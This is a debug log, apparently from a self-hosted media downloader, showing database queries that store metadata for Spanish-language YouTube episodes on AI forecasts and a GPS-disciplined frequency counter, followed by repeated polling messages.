("description","title","uuid","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["\u2060#IAMIQUE\u2060 👉🏼 Ep 4️⃣5️⃣: Pronosticos para el 2026 🔮 \n\n\nHoy \u2060David García Martínez\u2060 y yo lanzamos nuestros pronosticos de avances en IA, Robotica y salud para este 2026... cuanto acertaremos? cuanto fallaremos? tu nos dices.\n\n\ny cuales son TUS pronosticos? que crees que va a suceder a lo largo de este año?\n\n\ny por fa 🙏 (si quieres ayudarnos) : \n\n\n👐🏼 Dale a Compartir para darnos visibilidad \n✍🏼 Escribe un comentario, opina! \n🫶🏼 y ya la leche.... darnos un like (o no) \n🫵🏼 y siempre .... contamos contigo\n\n\n\u2060#IAMIQUE\u2060 \u2060#Origen\u2060 \u2060#IAGen\u2060 \u2060#GenAI\u2060 \u2060#ChatGPT\u2060 \n\n\nSigue a nuestras compañías también: \n👉🏼 \u2060ORIGEN CORPORACIÓN BIOTECH\u2060\n👉🏼 \u2060lifely by Origen Genetics\u2060", "EP 45: Pronosoticos para el 2026", "8487827f-083b-4fb3-82ff-2eb1ef48a4d9", 692, false, "lwdIEy2fCkg", "https://www.youtube.com/watch?v=lwdIEy2fCkg", 5, "/downloads/music/IA mí QUÉ/EP 45: Pronosoticos para el 2026.m4a", false, false, false, 2, [], 96, ~U[2026-01-09 07:00:46Z], ~U[2026-02-07 20:56:55Z], ~U[2026-02-07 20:56:55Z], "\u2060#IAMIQUE\u2060 👉🏼 Ep 4️⃣5️⃣: Pronosticos para el 2026 🔮 \n\n\nHoy \u2060David García Martínez\u2060 y yo lanzamos nuestros pronosticos de avances en IA, Robotica y salud para este 2026... cuanto acertaremos? cuanto fallaremos? tu nos dices.\n\n\ny cuales son TUS pronosticos? que crees que va a suceder a lo largo de este año?\n\n\ny por fa 🙏 (si quieres ayudarnos) : \n\n\n👐🏼 Dale a Compartir para darnos visibilidad \n✍🏼 Escribe un comentario, opina! \n🫶🏼 y ya la leche.... darnos un like (o no) \n🫵🏼 y siempre .... contamos contigo\n\n\n\u2060#IAMIQUE\u2060 \u2060#Origen\u2060 \u2060#IAGen\u2060 \u2060#GenAI\u2060 \u2060#ChatGPT\u2060 \n\n\nSigue a nuestras compañías también: \n👉🏼 \u2060ORIGEN CORPORACIÓN BIOTECH\u2060\n👉🏼 \u2060lifely by Origen Genetics\u2060", "EP 45: Pronosoticos para el 2026", 692, false, "lwdIEy2fCkg", "https://www.youtube.com/watch?v=lwdIEy2fCkg", "/downloads/music/IA mí QUÉ/EP 45: Pronosoticos para el 2026.m4a", false, 2, ~U[2026-01-09 07:00:46Z]] 21:56:55.674 [debug] QUERY OK source="sources" db=0.5ms queue=0.1ms idle=658.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 21:56:55.675 [debug] QUERY OK source="media_profiles" db=0.3ms idle=6.1ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 21:56:55.676 [debug] QUERY OK source="media_items" db=0.5ms queue=0.2ms idle=5.3ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [1257] 21:56:55.676 [debug] Current batch of media processed. Will check again in 1000ms 21:56:55.712 [debug] Current batch of media processed. Will check again in 1000ms 21:56:56.677 [debug] Current batch of media processed. Will check again in 1000ms 21:56:56.713 [debug] Current batch of media processed. Will check again in 1000ms 21:56:57.678 [debug] Current batch of media processed. Will check again in 1000ms 21:56:57.714 [debug] Current batch of media processed. Will check again in 1000ms 21:56:58.679 [debug] Current batch of media processed. Will check again in 1000ms 21:56:58.715 [debug] Current batch of media processed. Will check again in 1000ms 21:56:59.680 [debug] Current batch of media processed. Will check again in 1000ms 21:56:59.716 [debug] Current batch of media processed. Will check again in 1000ms 21:57:00.073 [info] {"source":"oban","duration":352,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 21:57:00.681 [debug] Current batch of media processed. Will check again in 1000ms 21:57:00.717 [debug] Current batch of media processed. Will check again in 1000ms 21:57:01.682 [debug] Current batch of media processed. Will check again in 1000ms 21:57:01.718 [debug] Current batch of media processed. Will check again in 1000ms 21:57:02.683 [debug] Current batch of media processed. Will check again in 1000ms 21:57:02.719 [debug] Current batch of media processed. Will check again in 1000ms 21:57:03.684 [debug] Current batch of media processed. Will check again in 1000ms 21:57:03.720 [debug] Current batch of media processed. Will check again in 1000ms 21:57:04.685 [debug] Current batch of media processed. Will check again in 1000ms 21:57:04.721 [debug] Current batch of media processed. Will check again in 1000ms 21:57:05.686 [debug] Current batch of media processed. Will check again in 1000ms 21:57:05.722 [debug] Current batch of media processed. Will check again in 1000ms 21:57:06.687 [debug] Current batch of media processed. Will check again in 1000ms 21:57:06.723 [debug] Current batch of media processed. Will check again in 1000ms 21:57:07.688 [debug] Current batch of media processed. Will check again in 1000ms 21:57:07.724 [debug] Current batch of media processed. Will check again in 1000ms 21:57:08.689 [debug] Current batch of media processed. Will check again in 1000ms 21:57:08.725 [debug] Current batch of media processed. Will check again in 1000ms 21:57:09.690 [debug] Current batch of media processed. Will check again in 1000ms 21:57:09.726 [debug] Current batch of media processed. Will check again in 1000ms 21:57:10.691 [debug] Current batch of media processed. Will check again in 1000ms 21:57:10.727 [debug] Current batch of media processed. Will check again in 1000ms 21:57:11.692 [debug] Current batch of media processed. Will check again in 1000ms 21:57:11.728 [debug] Current batch of media processed. Will check again in 1000ms 21:57:12.693 [debug] Current batch of media processed. Will check again in 1000ms 21:57:12.729 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "Hoy, por cortesía de AstroRadio, os traigo el tinyGTC, un frecuencímetro avanzado con oscilador disciplinado por GPS. Un producto muy interesante para el laboratorio de electrónica de todos los que nos gusta poner a calentar el soldador.\n\nMas información aqui:\n\nhttps://www.tinydevices.org/wiki/pmwiki.php?n=TinyGTC.Homepage\n\nEnlaces de compra:\n\nhttps://www.astroradio.com/p/tinygtc-zc412/ (version de 12 Ghz)\n\nhttps://www.astroradio.com/p/tinygtc-zc407-contador-de-frecuencia/ (version de 7 Ghz)\n\n#tinyGTC #hamradio #frecuencimetro #gnss #12Ghz #astroradio \n\nLa música de la intro es un fragmento de Slighshot, de Steve Adams, en el dominio público.\nLa música de fondo es Indeep (c)2002 de Wagner García y Leonardo Segura, grabado en estudios Wagner Prat de Llobregat. Cedida para estos videos por su autor.", "duration" => 2105, "filename" => "/downloads/music/ea3grn/174 - TINYGTC FRECUENCIMETRO PORTABLE HASTA 12GHZ.m4a", "id" => "yHUsqbdr11s", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=yHUsqbdr11s", "playlist_index" => 5, "timestamp" => 1765472515, "title" => "174 - TINYGTC FRECUENCIMETRO PORTABLE HASTA 12GHZ", "upload_date" => "20251211"} 21:57:12.731 [debug] QUERY OK source="sources" db=0.7ms idle=1999.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [3] 21:57:12.733 [debug] QUERY OK source="sources" db=0.5ms queue=0.1ms idle=1002.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 21:57:12.735 [debug] QUERY OK source="media_items" db=0.7ms idle=680.0ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-12-11 17:01:55Z], 3] 21:57:12.737 [debug] QUERY OK source="media_items" db=1.2ms idle=4.4ms INSERT INTO "media_items" AS m0 ("description","title","uuid","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Hoy, por cortesía de AstroRadio, os traigo el tinyGTC, un frecuencímetro avanzado con oscilador disciplinado por GPS. Un producto muy interesante para el laboratorio de electrónica de todos los que nos gusta poner a calentar el soldador.\n\nMas información aqui:\n\nhttps://www.tinydevices.org/wiki/pmwiki.php?n=TinyGTC.Homepage\n\nEnlaces de compra:\n\nhttps://www.astroradio.com/p/tinygtc-zc412/ (version de 12 Ghz)\n\nhttps://www.astroradio.com/p/tinygtc-zc407-contador-de-frecuencia/ (version de 7 Ghz)\n\n#tinyGTC #hamradio #frecuencimetro #gnss #12Ghz #astroradio \n\nLa música de la intro es un fragmento de Slighshot, de Steve Adams, en el dominio público.\nLa música de fondo es Indeep (c)2002 de Wagner García y Leonardo Segura, grabado en estudios Wagner Prat de Llobregat. Cedida para estos videos por su autor.", "174 - TINYGTC FRECUENCIMETRO PORTABLE HASTA 12GHZ", "49ce7a84-586c-4aff-ad50-9df3d007f8a8", 2105, false, "yHUsqbdr11s", "https://www.youtube.com/watch?v=yHUsqbdr11s", 5, "/downloads/music/ea3grn/174 - TINYGTC FRECUENCIMETRO PORTABLE HASTA 12GHZ.m4a", false, false, false, 3, [], 98, ~U[2025-12-11 17:01:55Z], ~U[2026-02-07 20:57:12Z], ~U[2026-02-07 20:57:12Z], "Hoy, por cortesía de AstroRadio, os traigo el tinyGTC, un frecuencímetro avanzado con oscilador disciplinado por GPS. Un producto muy interesante para el laboratorio de electrónica de todos los que nos gusta poner a calentar el soldador.\n\nMas información aqui:\n\nhttps://www.tinydevices.org/wiki/pmwiki.php?n=TinyGTC.Homepage\n\nEnlaces de compra:\n\nhttps://www.astroradio.com/p/tinygtc-zc412/ (version de 12 Ghz)\n\nhttps://www.astroradio.com/p/tinygtc-zc407-contador-de-frecuencia/ (version de 7 Ghz)\n\n#tinyGTC #hamradio #frecuencimetro #gnss #12Ghz #astroradio \n\nLa música de la intro es un fragmento de Slighshot, de Steve Adams, en el dominio público.\nLa música de fondo es Indeep (c)2002 de Wagner García y Leonardo Segura, grabado en estudios Wagner Prat de Llobregat. Cedida para estos videos por su autor.", "174 - TINYGTC FRECUENCIMETRO PORTABLE HASTA 12GHZ", 2105, false, "yHUsqbdr11s", "https://www.youtube.com/watch?v=yHUsqbdr11s", "/downloads/music/ea3grn/174 - TINYGTC FRECUENCIMETRO PORTABLE HASTA 12GHZ.m4a", false, 3, ~U[2025-12-11 17:01:55Z]] 21:57:12.738 [debug] QUERY OK source="sources" db=0.6ms idle=4.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 21:57:12.739 [debug] QUERY OK source="media_profiles" db=0.4ms idle=5.2ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 21:57:12.739 [debug] QUERY OK source="media_items" db=0.4ms idle=5.4ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [1290] 21:57:12.740 [debug] Current batch of media processed. Will check again in 1000ms 21:57:13.694 [debug] Current batch of media processed. Will check again in 1000ms 21:57:13.740 [debug] Current batch of media processed. Will check again in 1000ms 21:57:14.695 [debug] Current batch of media processed. Will check again in 1000ms 21:57:14.741 [debug] Current batch of media processed. Will check again in 1000ms 21:57:15.696 [debug] Current batch of media processed. Will check again in 1000ms 21:57:15.742 [debug] Current batch of media processed. Will check again in 1000ms 21:57:16.697 [debug] Current batch of media processed. Will check again in 1000ms 21:57:16.743 [debug] Current batch of media processed. Will check again in 1000ms 21:57:17.698 [debug] Current batch of media processed. Will check again in 1000ms 21:57:17.744 [debug] Current batch of media processed. Will check again in 1000ms 21:57:18.699 [debug] Current batch of media processed. Will check again in 1000ms 21:57:18.745 [debug] Current batch of media processed. Will check again in 1000ms 21:57:19.700 [debug] Current batch of media processed. Will check again in 1000ms 21:57:19.746 [debug] Current batch of media processed. Will check again in 1000ms 21:57:20.701 [debug] Current batch of media processed. Will check again in 1000ms 21:57:20.747 [debug] Current batch of media processed. Will check again in 1000ms 21:57:21.089 [info] {"source":"oban","duration":1656,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:57:21.702 [debug] Current batch of media processed. Will check again in 1000ms 21:57:21.748 [debug] Current batch of media processed. Will check again in 1000ms 21:57:22.703 [debug] Current batch of media processed. Will check again in 1000ms 21:57:22.749 [debug] Current batch of media processed. Will check again in 1000ms 21:57:23.704 [debug] Current batch of media processed. Will check again in 1000ms 21:57:23.750 [debug] Current batch of media processed. Will check again in 1000ms 21:57:24.705 [debug] Current batch of media processed. Will check again in 1000ms 21:57:24.751 [debug] Current batch of media processed. Will check again in 1000ms 21:57:25.706 [debug] Current batch of media processed. Will check again in 1000ms 21:57:25.752 [debug] Current batch of media processed. Will check again in 1000ms 21:57:26.707 [debug] Current batch of media processed. Will check again in 1000ms 21:57:26.753 [debug] Current batch of media processed. Will check again in 1000ms 21:57:27.708 [debug] Current batch of media processed. Will check again in 1000ms 21:57:27.754 [debug] Current batch of media processed. Will check again in 1000ms 21:57:28.709 [debug] Current batch of media processed. Will check again in 1000ms 21:57:28.755 [debug] Current batch of media processed. Will check again in 1000ms 21:57:29.710 [debug] Current batch of media processed. Will check again in 1000ms 21:57:29.756 [debug] Current batch of media processed. Will check again in 1000ms 21:57:30.711 [debug] Current batch of media processed. Will check again in 1000ms 21:57:30.757 [debug] Current batch of media processed. Will check again in 1000ms 21:57:31.712 [debug] Current batch of media processed. Will check again in 1000ms 21:57:31.758 [debug] Current batch of media processed. Will check again in 1000ms 21:57:32.713 [debug] Current batch of media processed. Will check again in 1000ms 21:57:32.759 [debug] Current batch of media processed. Will check again in 1000ms 21:57:33.714 [debug] Current batch of media processed. Will check again in 1000ms 21:57:33.760 [debug] Current batch of media processed. Will check again in 1000ms 21:57:34.715 [debug] Current batch of media processed. Will check again in 1000ms 21:57:34.761 [debug] Current batch of media processed. Will check again in 1000ms 21:57:35.716 [debug] Current batch of media processed. Will check again in 1000ms 21:57:35.762 [debug] Current batch of media processed. Will check again in 1000ms 21:57:36.717 [debug] Current batch of media processed. Will check again in 1000ms 21:57:36.763 [debug] Current batch of media processed. Will check again in 1000ms 21:57:37.718 [debug] Current batch of media processed. Will check again in 1000ms 21:57:37.764 [debug] Current batch of media processed. Will check again in 1000ms 21:57:38.719 [debug] Current batch of media processed. Will check again in 1000ms 21:57:38.765 [debug] Current batch of media processed. Will check again in 1000ms 21:57:39.720 [debug] Current batch of media processed. Will check again in 1000ms 21:57:39.766 [debug] Current batch of media processed. Will check again in 1000ms 21:57:40.721 [debug] Current batch of media processed. Will check again in 1000ms 21:57:40.767 [debug] Current batch of media processed. Will check again in 1000ms 21:57:41.722 [debug] Current batch of media processed. Will check again in 1000ms 21:57:41.768 [debug] Current batch of media processed. Will check again in 1000ms 21:57:42.723 [debug] Current batch of media processed. Will check again in 1000ms 21:57:42.769 [debug] Current batch of media processed. Will check again in 1000ms 21:57:43.724 [debug] Current batch of media processed. Will check again in 1000ms 21:57:43.770 [debug] Current batch of media processed. Will check again in 1000ms 21:57:44.725 [debug] Current batch of media processed. Will check again in 1000ms 21:57:44.771 [debug] Current batch of media processed. Will check again in 1000ms 21:57:45.726 [debug] Current batch of media processed. Will check again in 1000ms 21:57:45.772 [debug] Current batch of media processed. Will check again in 1000ms 21:57:46.727 [debug] Current batch of media processed. Will check again in 1000ms 21:57:46.773 [debug] Current batch of media processed. Will check again in 1000ms 21:57:47.728 [debug] Current batch of media processed. Will check again in 1000ms 21:57:47.774 [debug] Current batch of media processed. Will check again in 1000ms 21:57:48.730 [debug] Current batch of media processed. Will check again in 1000ms 21:57:48.775 [debug] Current batch of media processed. Will check again in 1000ms 21:57:49.731 [debug] Current batch of media processed. Will check again in 1000ms 21:57:49.776 [debug] Current batch of media processed. Will check again in 1000ms 21:57:50.732 [debug] Current batch of media processed. Will check again in 1000ms 21:57:50.777 [debug] Current batch of media processed. Will check again in 1000ms 21:57:51.092 [info] {"source":"oban","duration":1761,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:57:51.733 [debug] Current batch of media processed. Will check again in 1000ms 21:57:51.778 [debug] Current batch of media processed. Will check again in 1000ms 21:57:52.734 [debug] Current batch of media processed. Will check again in 1000ms 21:57:52.779 [debug] Current batch of media processed. Will check again in 1000ms 21:57:53.735 [debug] Current batch of media processed. Will check again in 1000ms 21:57:53.780 [debug] Current batch of media processed. Will check again in 1000ms 21:57:54.736 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "#IAMIQUE 👉🏼 Ep 4️⃣4️⃣: Carta a los Reyes Magos 👑👑👑🎄\n\nHoy David García Martínez y yo os vamos a hacer nuestra carta a los reyes Magos de IA's. Que IA's les pedimos a los reyes magos con un ppto de 200€ por mes, que nos pedimos cada uno.\n\nAunque hay muchas coincidencias... hay cosas que no lo son!\n\nY tu que IA's pedirías?????\n\ny por fa 🙏 (si quieres ayudarnos) :\n\n 👐🏼 Dale a Compartir para darnos visibilidad\n ✍🏼 Escribe un comentario, opina!\n 🫶🏼 y ya la leche.... darnos un like (o no)\n 🫵🏼 y siempre .... contamos contigo\n\n\n#IAMIQUE #Origen #IAGen #GenAI #ChatGPT \n\nSigue a nuestras compañías también: \n👉🏼 ORIGEN CORPORACIÓN BIOTECH\n👉🏼 lifely by Origen Genetics", "duration" => 682, "filename" => "/downloads/music/IA mí QUÉ/EP 44: Carta a los Reyes Magos.m4a", "id" => "lDxnLbTnuVs", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=lDxnLbTnuVs", "playlist_index" => 6, "timestamp" => 1767938832, "title" => "EP 44: Carta a los Reyes Magos", "upload_date" => "20260109"} 21:57:54.738 [debug] QUERY OK source="sources" db=0.5ms idle=579.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [2] 21:57:54.739 [debug] QUERY OK source="sources" db=0.5ms queue=0.1ms idle=6.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 21:57:54.740 [debug] QUERY OK source="media_items" db=0.8ms idle=7.6ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-01-09 06:07:12Z], 2] 21:57:54.742 [debug] QUERY OK source="media_items" db=1.2ms idle=9.0ms INSERT INTO "media_items" AS m0 ("description","title","uuid","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["#IAMIQUE 👉🏼 Ep 4️⃣4️⃣: Carta a los Reyes Magos 👑👑👑🎄\n\nHoy David García Martínez y yo os vamos a hacer nuestra carta a los reyes Magos de IA's. Que IA's les pedimos a los reyes magos con un ppto de 200€ por mes, que nos pedimos cada uno.\n\nAunque hay muchas coincidencias... hay cosas que no lo son!\n\nY tu que IA's pedirías?????\n\ny por fa 🙏 (si quieres ayudarnos) :\n\n 👐🏼 Dale a Compartir para darnos visibilidad\n ✍🏼 Escribe un comentario, opina!\n 🫶🏼 y ya la leche.... darnos un like (o no)\n 🫵🏼 y siempre .... contamos contigo\n\n\n#IAMIQUE #Origen #IAGen #GenAI #ChatGPT \n\nSigue a nuestras compañías también: \n👉🏼 ORIGEN CORPORACIÓN BIOTECH\n👉🏼 lifely by Origen Genetics", "EP 44: Carta a los Reyes Magos", "a2304e52-9872-4c9c-aea4-6ff9b7124b13", 682, false, "lDxnLbTnuVs", "https://www.youtube.com/watch?v=lDxnLbTnuVs", 6, "/downloads/music/IA mí QUÉ/EP 44: Carta a los Reyes Magos.m4a", false, false, false, 2, [], 96, ~U[2026-01-09 06:07:12Z], ~U[2026-02-07 20:57:54Z], ~U[2026-02-07 20:57:54Z], "#IAMIQUE 👉🏼 Ep 4️⃣4️⃣: Carta a los Reyes Magos 👑👑👑🎄\n\nHoy David García Martínez y yo os vamos a hacer nuestra carta a los reyes Magos de IA's. Que IA's les pedimos a los reyes magos con un ppto de 200€ por mes, que nos pedimos cada uno.\n\nAunque hay muchas coincidencias... hay cosas que no lo son!\n\nY tu que IA's pedirías?????\n\ny por fa 🙏 (si quieres ayudarnos) :\n\n 👐🏼 Dale a Compartir para darnos visibilidad\n ✍🏼 Escribe un comentario, opina!\n 🫶🏼 y ya la leche.... darnos un like (o no)\n 🫵🏼 y siempre .... contamos contigo\n\n\n#IAMIQUE #Origen #IAGen #GenAI #ChatGPT \n\nSigue a nuestras compañías también: \n👉🏼 ORIGEN CORPORACIÓN BIOTECH\n👉🏼 lifely by Origen Genetics", "EP 44: Carta a los Reyes Magos", 682, false, "lDxnLbTnuVs", "https://www.youtube.com/watch?v=lDxnLbTnuVs", "/downloads/music/IA mí QUÉ/EP 44: Carta a los Reyes Magos.m4a", false, 2, ~U[2026-01-09 06:07:12Z]] 21:57:54.743 [debug] QUERY OK source="sources" db=0.5ms idle=10.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 21:57:54.743 [debug] QUERY OK source="media_profiles" db=0.5ms idle=5.2ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 21:57:54.744 [debug] QUERY OK source="media_items" db=0.5ms idle=4.7ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT 